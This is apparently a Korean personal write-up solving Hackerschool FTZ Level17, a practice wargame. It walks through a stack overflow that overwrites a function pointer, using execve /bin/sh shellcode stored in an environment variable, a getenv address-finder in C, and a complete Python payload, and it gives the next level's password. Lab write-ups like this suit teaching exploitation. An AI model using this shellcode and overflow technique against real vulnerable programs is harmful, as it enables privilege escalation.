[해커스쿨FTZ] Level17
주소 얻어걸리는게 싫어 환경변수로 푸는 법을 공부했다.
FTZlevel17
level16과 다른점은 shell()함수가 만들어지지 않았다는 것이다.
대신 setreuid가 main함수 내에 있다.
call함수를 부르는 부분에서 system함수를 호출해서 /bin/sh를 넣어주면 될 것 같다.
<main+16> :DWORD PTR [ebp-16]에 0x80483b8(printit함수)
스택에는 56바이트가 확장된다.
실행시키면 call에서 printit함수를 호출할테니 ebp-16이 가리키는 곳을 덮어씌우면 될듯
버퍼는 0xbffff8a0부터 문자열이 쌓인다.
ebp : 0xbffff8d8 value : 0xbffff8f8
ebp-16 : 0xbffff8c8 value : 0x0804000a
ebp-12까지 40바이트가 쌓임.
\xc0\xf2\x03\x42 \xa4\x7e\x12\x42
"A"*40+"\xc0\xf2\x03\x42"+"AAAA"+"\xa4\x7e\x12\x42" --실패
ebp -8 : 36
ebp -4 : 32
ebp : 28
nop*28 + 12바이트 쉘코드 + nop주소
안됨,,,,,,,,,,,,,,,,,,,,,,,,
<환경변수를 이용한 방법>
25byte 쉘코드:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
export SHELLCODE=$(python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
그리고 등록된 쉘코드의 주소를 가져오는 코드를 작성.
int main(){
printf("%p\n", getenv("SHELLCODE"));
return 0;
}
gcc로 만든뒤 실행하면 쉘코드 주소를 알 수 있다.
쉘코드 주소 : 0xbffffc13
페이로드
(python -c 'print "A"*40+"\x13\xfc\xff\xbf"';cat) | ./attackme
level18 패스워드 : "why did you do it"